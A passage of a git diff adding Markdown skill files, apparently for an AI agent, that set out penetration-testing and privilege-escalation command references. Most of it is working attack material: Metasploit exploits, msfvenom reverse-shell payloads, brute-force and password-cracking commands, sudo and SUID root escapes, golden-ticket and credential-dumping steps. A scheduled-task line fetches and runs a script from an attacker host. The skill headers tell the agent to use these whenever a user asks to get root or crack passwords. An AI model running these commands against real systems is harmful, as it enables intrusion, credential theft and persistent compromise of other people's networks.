-keyout /etc/ssl/private/apache-selfsigned.key \
|
||||
-out /etc/ssl/certs/apache-selfsigned.crt
|
||||
|
||||
# Enable SSL module
|
||||
sudo a2enmod ssl
|
||||
sudo systemctl restart apache2
|
||||
```
|
||||
|
||||
**Configure Apache for HTTPS:**
|
||||
|
||||
```bash
|
||||
# Edit SSL virtual host
|
||||
sudo nano /etc/apache2/sites-available/default-ssl.conf
|
||||
|
||||
# Enable site
|
||||
sudo a2ensite default-ssl
|
||||
sudo systemctl reload apache2
|
||||
```
|
||||
|
||||
**Verify HTTPS Setup:**
|
||||
|
||||
```bash
|
||||
# Check port 443 is open
|
||||
nmap -p 443 192.168.1.1
|
||||
|
||||
# Test SSL connection
|
||||
openssl s_client -connect 192.168.1.1:443
|
||||
|
||||
# Check certificate
|
||||
curl -kv https://192.168.1.1
|
||||
```
|
||||
|
||||
### 3. Configure SNMP Service (Port 161)
|
||||
|
||||
Set up SNMP for enumeration practice:
|
||||
|
||||
**Linux SNMP Setup:**
|
||||
|
||||
```bash
|
||||
# Install SNMP daemon
|
||||
sudo apt install snmpd snmp
|
||||
|
||||
# Configure community strings
|
||||
sudo nano /etc/snmp/snmpd.conf
|
||||
|
||||
# Add these lines:
|
||||
# rocommunity public
|
||||
# rwcommunity private
|
||||
|
||||
# Restart service
|
||||
sudo systemctl restart snmpd
|
||||
```
|
||||
|
||||
**Windows SNMP Setup:**
|
||||
1. Open Server Manager → Add Features
|
||||
2. Select SNMP Service
|
||||
3. Configure community strings in Services → SNMP Service → Properties
|
||||
|
||||
**SNMP Enumeration Commands:**
|
||||
|
||||
```bash
|
||||
# Basic SNMP walk
|
||||
snmpwalk -c public -v1 192.168.1.1
|
||||
|
||||
# Enumerate system info
|
||||
snmpwalk -c public -v1 192.168.1.1 1.3.6.1.2.1.1
|
||||
|
||||
# Get running processes
|
||||
snmpwalk -c public -v1 192.168.1.1 1.3.6.1.2.1.25.4.2.1.2
|
||||
|
||||
# SNMP check tool
|
||||
snmp-check 192.168.1.1 -c public
|
||||
|
||||
# Brute force community strings
|
||||
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 192.168.1.1
|
||||
```
|
||||
|
||||
### 4. Configure SMB Service (Port 445)
|
||||
|
||||
Set up SMB file shares for enumeration:
|
||||
|
||||
**Windows SMB Share:**
|
||||
1. Create folder to share
|
||||
2. Right-click → Properties → Sharing → Advanced Sharing
|
||||
3. Enable sharing and set permissions
|
||||
4. Configure NTFS permissions
|
||||
|
||||
**Linux Samba Setup:**
|
||||
|
||||
```bash
|
||||
# Install Samba
|
||||
sudo apt install samba
|
||||
|
||||
# Create share directory
|
||||
sudo mkdir -p /srv/samba/share
|
||||
sudo chmod 777 /srv/samba/share
|
||||
|
||||
# Configure Samba
|
||||
sudo nano /etc/samba/smb.conf
|
||||
|
||||
# Add share:
|
||||
# [public]
|
||||
# path = /srv/samba/share
|
||||
# browsable = yes
|
||||
# guest ok = yes
|
||||
# read only = no
|
||||
|
||||
# Restart service
|
||||
sudo systemctl restart smbd
|
||||
```
|
||||
|
||||
**SMB Enumeration Commands:**
|
||||
|
||||
```bash
|
||||
# List shares anonymously
|
||||
smbclient -L //192.168.1.1 -N
|
||||
|
||||
# Connect to share
|
||||
smbclient //192.168.1.1/share -N
|
||||
|
||||
# Enumerate with smbmap
|
||||
smbmap -H 192.168.1.1
|
||||
|
||||
# Full enumeration
|
||||
enum4linux -a 192.168.1.1
|
||||
|
||||
# Check for vulnerabilities
|
||||
nmap --script smb-vuln* 192.168.1.1
|
||||
```
|
||||
|
||||
### 5. Analyze Service Logs
|
||||
|
||||
Review logs for security analysis:
|
||||
|
||||
**HTTP/HTTPS Logs:**
|
||||
|
||||
```bash
|
||||
# Apache access log
|
||||
sudo tail -f /var/log/apache2/access.log
|
||||
|
||||
# Apache error log
|
||||
sudo tail -f /var/log/apache2/error.log
|
||||
|
||||
# Windows IIS logs
|
||||
# Location: C:\inetpub\logs\LogFiles\W3SVC1\
|
||||
```
|
||||
|
||||
**Parse Log for Credentials:**
|
||||
|
||||
```bash
|
||||
# Search for POST requests
|
||||
grep "POST" /var/log/apache2/access.log
|
||||
|
||||
# Extract user agents
|
||||
awk '{print $12}' /var/log/apache2/access.log | sort | uniq -c
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Essential Ports
|
||||
|
||||
| Service | Port | Protocol |
|
||||
|---------|------|----------|
|
||||
| HTTP | 80 | TCP |
|
||||
| HTTPS | 443 | TCP |
|
||||
| SNMP | 161 | UDP |
|
||||
| SMB | 445 | TCP |
|
||||
| NetBIOS | 137-139 | TCP/UDP |
|
||||
|
||||
### Service Verification Commands
|
||||
|
||||
```bash
|
||||
# Check HTTP
|
||||
curl -I http://target
|
||||
|
||||
# Check HTTPS
|
||||
curl -kI https://target
|
||||
|
||||
# Check SNMP
|
||||
snmpwalk -c public -v1 target
|
||||
|
||||
# Check SMB
|
||||
smbclient -L //target -N
|
||||
```
|
||||
|
||||
### Common Enumeration Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| nmap | Port scanning and scripts |
|
||||
| nikto | Web vulnerability scanning |
|
||||
| snmpwalk | SNMP enumeration |
|
||||
| enum4linux | SMB/NetBIOS enumeration |
|
||||
| smbclient | SMB connection |
|
||||
| gobuster | Directory brute forcing |
|
||||
|
||||
## Constraints
|
||||
|
||||
- Self-signed certificates trigger browser warnings
|
||||
- SNMP v1/v2c communities transmit in cleartext
|
||||
- Anonymous SMB access is often disabled by default
|
||||
- Firewall rules must allow inbound connections
|
||||
- Lab environments should be isolated from production
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Complete HTTP Lab Setup
|
||||
|
||||
```bash
|
||||
# Install and configure
|
||||
sudo apt install apache2
|
||||
sudo systemctl start apache2
|
||||
|
||||
# Create login page
|
||||
cat << 'EOF' | sudo tee /var/www/html/login.html
|
||||
<html>
|
||||
<body>
|
||||
<form method="POST" action="login.php">
|
||||
Username: <input type="text" name="user"><br>
|
||||
Password: <input type="password" name="pass"><br>
|
||||
<input type="submit" value="Login">
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
EOF
|
||||
|
||||
# Allow through firewall
|
||||
sudo ufw allow 80/tcp
|
||||
```
|
||||
|
||||
### Example 2: SNMP Testing Setup
|
||||
|
||||
```bash
|
||||
# Quick SNMP configuration
|
||||
sudo apt install snmpd
|
||||
echo "rocommunity public" | sudo tee -a /etc/snmp/snmpd.conf
|
||||
sudo systemctl restart snmpd
|
||||
|
||||
# Test enumeration
|
||||
snmpwalk -c public -v1 localhost
|
||||
```
|
||||
|
||||
### Example 3: SMB Anonymous Access
|
||||
|
||||
```bash
|
||||
# Configure anonymous share
|
||||
sudo apt install samba
|
||||
sudo mkdir /srv/samba/anonymous
|
||||
sudo chmod 777 /srv/samba/anonymous
|
||||
|
||||
# Test access
|
||||
smbclient //localhost/anonymous -N
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solution |
|
||||
|-------|----------|
|
||||
| Port not accessible | Check firewall rules (ufw, iptables, Windows Firewall) |
|
||||
| Service not starting | Check logs with `journalctl -u service-name` |
|
||||
| SNMP timeout | Verify UDP 161 is open, check community string |
|
||||
| SMB access denied | Verify share permissions and user credentials |
|
||||
| HTTPS certificate error | Accept self-signed cert or add to trusted store |
|
||||
| Cannot connect remotely | Bind service to 0.0.0.0 instead of localhost |
|
||||
435
skills/pentest-commands/SKILL.md
Normal file
435
skills/pentest-commands/SKILL.md
Normal file
@@ -0,0 +1,435 @@
|
||||
---
|
||||
name: Pentest Commands
|
||||
description: This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references.
|
||||
---
|
||||
|
||||
# Pentest Commands
|
||||
|
||||
## Purpose
|
||||
|
||||
Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.
|
||||
|
||||
## Inputs/Prerequisites
|
||||
|
||||
- Kali Linux or penetration testing distribution
|
||||
- Target IP addresses with authorization
|
||||
- Wordlists for brute forcing
|
||||
- Network access to target systems
|
||||
- Basic understanding of tool syntax
|
||||
|
||||
## Outputs/Deliverables
|
||||
|
||||
- Network enumeration results
|
||||
- Identified vulnerabilities
|
||||
- Exploitation payloads
|
||||
- Cracked credentials
|
||||
- Web vulnerability findings
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### 1. Nmap Commands
|
||||
|
||||
**Host Discovery:**
|
||||
|
||||
```bash
|
||||
# Ping sweep
|
||||
nmap -sP 192.168.1.0/24
|
||||
|
||||
# List IPs without scanning
|
||||
nmap -sL 192.168.1.0/24
|
||||
|
||||
# Ping scan (host discovery)
|
||||
nmap -sn 192.168.1.0/24
|
||||
```
|
||||
|
||||
**Port Scanning:**
|
||||
|
||||
```bash
|
||||
# TCP SYN scan (stealth)
|
||||
nmap -sS 192.168.1.1
|
||||
|
||||
# Full TCP connect scan
|
||||
nmap -sT 192.168.1.1
|
||||
|
||||
# UDP scan
|
||||
nmap -sU 192.168.1.1
|
||||
|
||||
# All ports (1-65535)
|
||||
nmap -p- 192.168.1.1
|
||||
|
||||
# Specific ports
|
||||
nmap -p 22,80,443 192.168.1.1
|
||||
```
|
||||
|
||||
**Service Detection:**
|
||||
|
||||
```bash
|
||||
# Service versions
|
||||
nmap -sV 192.168.1.1
|
||||
|
||||
# OS detection
|
||||
nmap -O 192.168.1.1
|
||||
|
||||
# Comprehensive scan
|
||||
nmap -A 192.168.1.1
|
||||
|
||||
# Skip host discovery
|
||||
nmap -Pn 192.168.1.1
|
||||
```
|
||||
|
||||
**NSE Scripts:**
|
||||
|
||||
```bash
|
||||
# Vulnerability scan
|
||||
nmap --script vuln 192.168.1.1
|
||||
|
||||
# SMB enumeration
|
||||
nmap --script smb-enum-shares -p 445 192.168.1.1
|
||||
|
||||
# HTTP enumeration
|
||||
nmap --script http-enum -p 80 192.168.1.1
|
||||
|
||||
# Check EternalBlue
|
||||
nmap --script smb-vuln-ms17-010 192.168.1.1
|
||||
|
||||
# Check MS08-067
|
||||
nmap --script smb-vuln-ms08-067 192.168.1.1
|
||||
|
||||
# SSH brute force
|
||||
nmap --script ssh-brute -p 22 192.168.1.1
|
||||
|
||||
# FTP anonymous
|
||||
nmap --script ftp-anon 192.168.1.1
|
||||
|
||||
# DNS brute force
|
||||
nmap --script dns-brute 192.168.1.1
|
||||
|
||||
# HTTP methods
|
||||
nmap -p80 --script http-methods 192.168.1.1
|
||||
|
||||
# HTTP headers
|
||||
nmap -p80 --script http-headers 192.168.1.1
|
||||
|
||||
# SQL injection check
|
||||
nmap --script http-sql-injection -p 80 192.168.1.1
|
||||
```
|
||||
|
||||
**Advanced Scans:**
|
||||
|
||||
```bash
|
||||
# Xmas scan
|
||||
nmap -sX 192.168.1.1
|
||||
|
||||
# ACK scan (firewall detection)
|
||||
nmap -sA 192.168.1.1
|
||||
|
||||
# Window scan
|
||||
nmap -sW 192.168.1.1
|
||||
|
||||
# Traceroute
|
||||
nmap --traceroute 192.168.1.1
|
||||
```
|
||||
|
||||
### 2. Metasploit Commands
|
||||
|
||||
**Basic Usage:**
|
||||
|
||||
```bash
|
||||
# Launch Metasploit
|
||||
msfconsole
|
||||
|
||||
# Search for exploits
|
||||
search type:exploit name:smb
|
||||
|
||||
# Use exploit
|
||||
use exploit/windows/smb/ms17_010_eternalblue
|
||||
|
||||
# Show options
|
||||
show options
|
||||
|
||||
# Set target
|
||||
set RHOST 192.168.1.1
|
||||
|
||||
# Set payload
|
||||
set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
|
||||
# Run exploit
|
||||
exploit
|
||||
```
|
||||
|
||||
**Common Exploits:**
|
||||
|
||||
```bash
|
||||
# EternalBlue
|
||||
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"
|
||||
|
||||
# MS08-067 (Conficker)
|
||||
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"
|
||||
|
||||
# vsftpd backdoor
|
||||
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"
|
||||
|
||||
# Shellshock
|
||||
msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"
|
||||
|
||||
# Drupalgeddon2
|
||||
msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"
|
||||
|
||||
# PSExec
|
||||
msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"
|
||||
```
|
||||
|
||||
**Scanners:**
|
||||
|
||||
```bash
|
||||
# TCP port scan
|
||||
msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"
|
||||
|
||||
# SMB version scan
|
||||
msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"
|
||||
|
||||
# SMB share enumeration
|
||||
msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"
|
||||
|
||||
# SSH brute force
|
||||
msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
|
||||
|
||||
# FTP brute force
|
||||
msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
|
||||
|
||||
# RDP scanning
|
||||
msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"
|
||||
```
|
||||
|
||||
**Handler Setup:**
|
||||
|
||||
```bash
|
||||
# Multi-handler for reverse shells
|
||||
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"
|
||||
```
|
||||
|
||||
**Payload Generation (msfvenom):**
|
||||
|
||||
```bash
|
||||
# Windows reverse shell
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe
|
||||
|
||||
# Linux reverse shell
|
||||
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf
|
||||
|
||||
# PHP reverse shell
|
||||
msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php
|
||||
|
||||
# ASP reverse shell
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp
|
||||
|
||||
# WAR file
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war
|
||||
|
||||
# Python payload
|
||||
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py
|
||||
```
|
||||
|
||||
### 3. Nikto Commands
|
||||
|
||||
```bash
|
||||
# Basic scan
|
||||
nikto -h http://192.168.1.1
|
||||
|
||||
# Comprehensive scan
|
||||
nikto -h http://192.168.1.1 -C all
|
||||
|
||||
# Output to file
|
||||
nikto -h http://192.168.1.1 -output report.html
|
||||
|
||||
# Plugin-based scans
|
||||
nikto -h http://192.168.1.1 -Plugins robots
|
||||
nikto -h http://192.168.1.1 -Plugins shellshock
|
||||
nikto -h http://192.168.1.1 -Plugins heartbleed
|
||||
nikto -h http://192.168.1.1 -Plugins ssl
|
||||
|
||||
# Export to Metasploit
|
||||
nikto -h http://192.168.1.1 -Format msf+
|
||||
|
||||
# Specific tuning
|
||||
nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only
|
||||
```
|
||||
|
||||
### 4. SQLMap Commands
|
||||
|
||||
```bash
|
||||
# Basic injection test
|
||||
sqlmap -u "http://192.168.1.1/page?id=1"
|
||||
|
||||
# Enumerate databases
|
||||
sqlmap -u "http://192.168.1.1/page?id=1" --dbs
|
||||
|
||||
# Enumerate tables
|
||||
sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
|
||||
|
||||
# Dump table
|
||||
sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
|
||||
|
||||
# OS shell
|
||||
sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
|
||||
|
||||
# POST request
|
||||
sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
|
||||
|
||||
# Cookie injection
|
||||
sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
|
||||
|
||||
# Bypass WAF
|
||||
sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
|
||||
|
||||
# Risk and level
|
||||
sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
|
||||
```
|
||||
|
||||
### 5. Hydra Commands
|
||||
|
||||
```bash
|
||||
# SSH brute force
|
||||
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
|
||||
|
||||
# FTP brute force
|
||||
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1
|
||||
|
||||
# HTTP POST form
|
||||
hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
|
||||
|
||||
# HTTP Basic Auth
|
||||
hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/
|
||||
|
||||
# SMB brute force
|
||||
hydra -l admin -P passwords.txt smb://192.168.1.1
|
||||
|
||||
# RDP brute force
|
||||
hydra -l admin -P passwords.txt rdp://192.168.1.1
|
||||
|
||||
# MySQL brute force
|
||||
hydra -l root -P passwords.txt mysql://192.168.1.1
|
||||
|
||||
# Username list
|
||||
hydra -L users.txt -P passwords.txt ssh://192.168.1.1
|
||||
```
|
||||
|
||||
### 6. John the Ripper Commands
|
||||
|
||||
```bash
|
||||
# Crack password file
|
||||
john hash.txt
|
||||
|
||||
# Specify wordlist
|
||||
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
|
||||
# Show cracked passwords
|
||||
john hash.txt --show
|
||||
|
||||
# Specify format
|
||||
john hash.txt --format=raw-md5
|
||||
john hash.txt --format=nt
|
||||
john hash.txt --format=sha512crypt
|
||||
|
||||
# SSH key passphrase
|
||||
ssh2john id_rsa > ssh_hash.txt
|
||||
john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
|
||||
# ZIP password
|
||||
zip2john file.zip > zip_hash.txt
|
||||
john zip_hash.txt
|
||||
```
|
||||
|
||||
### 7. Aircrack-ng Commands
|
||||
|
||||
```bash
|
||||
# Monitor mode
|
||||
airmon-ng start wlan0
|
||||
|
||||
# Capture packets
|
||||
airodump-ng wlan0mon
|
||||
|
||||
# Target specific network
|
||||
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
|
||||
|
||||
# Deauth attack
|
||||
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
|
||||
|
||||
# Crack WPA handshake
|
||||
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
|
||||
```
|
||||
|
||||
### 8. Wireshark/Tshark Commands
|
||||
|
||||
```bash
|
||||
# Capture traffic
|
||||
tshark -i eth0 -w capture.pcap
|
||||
|
||||
# Read capture file
|
||||
tshark -r capture.pcap
|
||||
|
||||
# Filter by protocol
|
||||
tshark -r capture.pcap -Y "http"
|
||||
|
||||
# Filter by IP
|
||||
tshark -r capture.pcap -Y "ip.addr == 192.168.1.1"
|
||||
|
||||
# Extract HTTP data
|
||||
tshark -r capture.pcap -Y "http" -T fields -e http.request.uri
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Common Port Scans
|
||||
|
||||
```bash
|
||||
# Quick scan
|
||||
nmap -F 192.168.1.1
|
||||
|
||||
# Full comprehensive
|
||||
nmap -sV -sC -A -p- 192.168.1.1
|
||||
|
||||
# Fast with version
|
||||
nmap -sV -T4 192.168.1.1
|
||||
```
|
||||
|
||||
### Password Hash Types
|
||||
|
||||
| Mode | Type |
|
||||
|------|------|
|
||||
| 0 | MD5 |
|
||||
| 100 | SHA1 |
|
||||
| 1000 | NTLM |
|
||||
| 1800 | sha512crypt |
|
||||
| 3200 | bcrypt |
|
||||
| 13100 | Kerberoast |
|
||||
|
||||
## Constraints
|
||||
|
||||
- Always have written authorization
|
||||
- Some scans are noisy and detectable
|
||||
- Brute forcing may lock accounts
|
||||
- Rate limiting affects tools
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Quick Vulnerability Scan
|
||||
|
||||
```bash
|
||||
nmap -sV --script vuln 192.168.1.1
|
||||
```
|
||||
|
||||
### Example 2: Web App Test
|
||||
|
||||
```bash
|
||||
nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solution |
|
||||
|-------|----------|
|
||||
| Scan too slow | Increase timing (-T4, -T5) |
|
||||
| Ports filtered | Try different scan types |
|
||||
| Exploit fails | Check target version compatibility |
|
||||
| Passwords not cracking | Try larger wordlists, rules |
|
||||
330
skills/privilege-escalation-methods/SKILL.md
Normal file
330
skills/privilege-escalation-methods/SKILL.md
Normal file
@@ -0,0 +1,330 @@
|
||||
---
|
||||
name: Privilege Escalation Methods
|
||||
description: This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.
|
||||
---
|
||||
|
||||
# Privilege Escalation Methods
|
||||
|
||||
## Purpose
|
||||
|
||||
Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.
|
||||
|
||||
## Inputs/Prerequisites
|
||||
|
||||
- Initial low-privilege shell access on target system
|
||||
- Kali Linux or penetration testing distribution
|
||||
- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
|
||||
- Understanding of Windows/Linux privilege models
|
||||
- For AD attacks: Domain user credentials and network access to DC
|
||||
|
||||
## Outputs/Deliverables
|
||||
|
||||
- Root or Administrator shell access
|
||||
- Extracted credentials and hashes
|
||||
- Persistent access mechanisms
|
||||
- Domain compromise (for AD environments)
|
||||
|
||||
---
|
||||
|
||||
## Core Techniques
|
||||
|
||||
### Linux Privilege Escalation
|
||||
|
||||
#### 1. Abusing Sudo Binaries
|
||||
|
||||
Exploit misconfigured sudo permissions using GTFOBins techniques:
|
||||
|
||||
```bash
|
||||
# Check sudo permissions
|
||||
sudo -l
|
||||
|
||||
# Exploit common binaries
|
||||
sudo vim -c ':!/bin/bash'
|
||||
sudo find /etc/passwd -exec /bin/bash \;
|
||||
sudo awk 'BEGIN {system("/bin/bash")}'
|
||||
sudo python -c 'import pty;pty.spawn("/bin/bash")'
|
||||
sudo perl -e 'exec "/bin/bash";'
|
||||
sudo less /etc/hosts # then type: !bash
|
||||
sudo man man # then type: !bash
|
||||
sudo env /bin/bash
|
||||
```
|
||||
|
||||
#### 2. Abusing Scheduled Tasks (Cron)
|
||||
|
||||
```bash
|
||||
# Find writable cron scripts
|
||||
ls -la /etc/cron*
|
||||
cat /etc/crontab
|
||||
|
||||
# Inject payload into writable script
|
||||
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
|
||||
chmod +x /home/user/systemupdate.sh
|
||||
|
||||
# Wait for execution, then:
|
||||
/bin/bash -p
|
||||
```
|
||||
|
||||
#### 3. Abusing Capabilities
|
||||
|
||||
```bash
|
||||
# Find binaries with capabilities
|
||||
getcap -r / 2>/dev/null
|
||||
|
||||
# Python with cap_setuid
|
||||
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
|
||||
|
||||
# Perl with cap_setuid
|
||||
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
|
||||
|
||||
# Tar with cap_dac_read_search (read any file)
|
||||
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
|
||||
/usr/bin/tar -xvf key.tar
|
||||
```
|
||||
|
||||
#### 4. NFS Root Squashing
|
||||
|
||||
```bash
|
||||
# Check for NFS shares
|
||||
showmount -e <victim_ip>
|
||||
|
||||
# Mount and exploit no_root_squash
|
||||
mkdir /tmp/mount
|
||||
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
|
||||
cd /tmp/mount
|
||||
cp /bin/bash .
|
||||
chmod +s bash
|
||||
```
|
||||
|
||||
#### 5. MySQL Running as Root
|
||||
|
||||
```bash
|
||||
# If MySQL runs as root
|
||||
mysql -u root -p
|
||||
\! chmod +s /bin/bash
|
||||
exit
|
||||
/bin/bash -p
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Windows Privilege Escalation
|
||||
|
||||
#### 1. Token Impersonation
|
||||
|
||||
```powershell
|
||||
# Using SweetPotato (SeImpersonatePrivilege)
|
||||
execute-assembly sweetpotato.exe -p beacon.exe
|
||||
|
||||
# Using SharpImpersonation
|
||||
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
|
||||
```
|
||||
|
||||
#### 2. Service Abuse
|
||||
|
||||
```powershell
|
||||
# Using PowerUp
|
||||
. .\PowerUp.ps1
|
||||
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
|
||||
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'
|
||||
```
|
||||
|
||||
#### 3. Abusing SeBackupPrivilege
|
||||
|
||||
```powershell
|
||||
import-module .\SeBackupPrivilegeUtils.dll
|
||||
import-module .\SeBackupPrivilegeCmdLets.dll
|
||||
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
|
||||
```
|
||||
|
||||
#### 4. Abusing SeLoadDriverPrivilege
|
||||
|
||||
```powershell
|
||||
# Load vulnerable Capcom driver
|
||||
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
|
||||
.\ExploitCapcom.exe
|
||||
```
|
||||
|
||||
#### 5. Abusing GPO
|
||||
|
||||
```powershell
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
|
||||
--Author DOMAIN\<USER> --Command "cmd.exe" `
|
||||
--Arguments "/c net user Administrator Password!@# /domain" `
|
||||
--GPOName "ADDITIONAL DC CONFIGURATION"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Active Directory Attacks
|
||||
|
||||
#### 1. Kerberoasting
|
||||
|
||||
```bash
|
||||
# Using Impacket
|
||||
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request
|
||||
|
||||
# Using CrackMapExec
|
||||
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
|
||||
```
|
||||
|
||||
#### 2. AS-REP Roasting
|
||||
|
||||
```powershell
|
||||
.\Rubeus.exe asreproast
|
||||
```
|
||||
|
||||
#### 3. Golden Ticket
|
||||
|
||||
```powershell
|
||||
# DCSync to get krbtgt hash
|
||||
mimikatz# lsadump::dcsync /user:krbtgt
|
||||
|
||||
# Create golden ticket
|
||||
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
|
||||
/sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
|
||||
```
|
||||
|
||||
#### 4. Pass-the-Ticket
|
||||
|
||||
```powershell
|
||||
.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
|
||||
klist # Verify ticket
|
||||
```
|
||||
|
||||
#### 5. Golden Ticket with Scheduled Tasks
|
||||
|
||||
```powershell
|
||||
# 1. Elevate and dump credentials
|
||||
mimikatz# token::elevate
|
||||
mimikatz# vault::cred /patch
|
||||
mimikatz# lsadump::lsa /patch
|
||||
|
||||
# 2. Create golden ticket
|
||||
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
|
||||
/domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi
|
||||
|
||||
# 3. Create scheduled task
|
||||
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
|
||||
/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
|
||||
schtasks /run /s DOMAIN /TN "enterprise"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Credential Harvesting
|
||||
|
||||
#### LLMNR Poisoning
|
||||
|
||||
```bash
|
||||
# Start Responder
|
||||
responder -I eth1 -v
|
||||
|
||||
# Create malicious shortcut (Book.url)
|
||||
[InternetShortcut]
|
||||
URL=https://facebook.com
|
||||
IconIndex=0
|
||||
IconFile=\\attacker_ip\not_found.ico
|
||||
```
|
||||
|
||||
#### NTLM Relay
|
||||
|
||||
```bash
|
||||
responder -I eth1 -v
|
||||
ntlmrelayx.py -tf targets.txt -smb2support
|
||||
```
|
||||
|
||||
#### Dumping with VSS
|
||||
|
||||
```powershell
|
||||
vssadmin create shadow /for=C:
|
||||
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
|
||||
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick Reference
|
||||
|
||||
| Technique | OS | Domain Required | Tool |
|
||||
|-----------|-----|-----------------|------|
|
||||
| Sudo Binary Abuse | Linux | No | GTFOBins |
|
||||
| Cron Job Exploit | Linux | No | Manual |
|
||||
| Capability Abuse | Linux | No | getcap |
|
||||
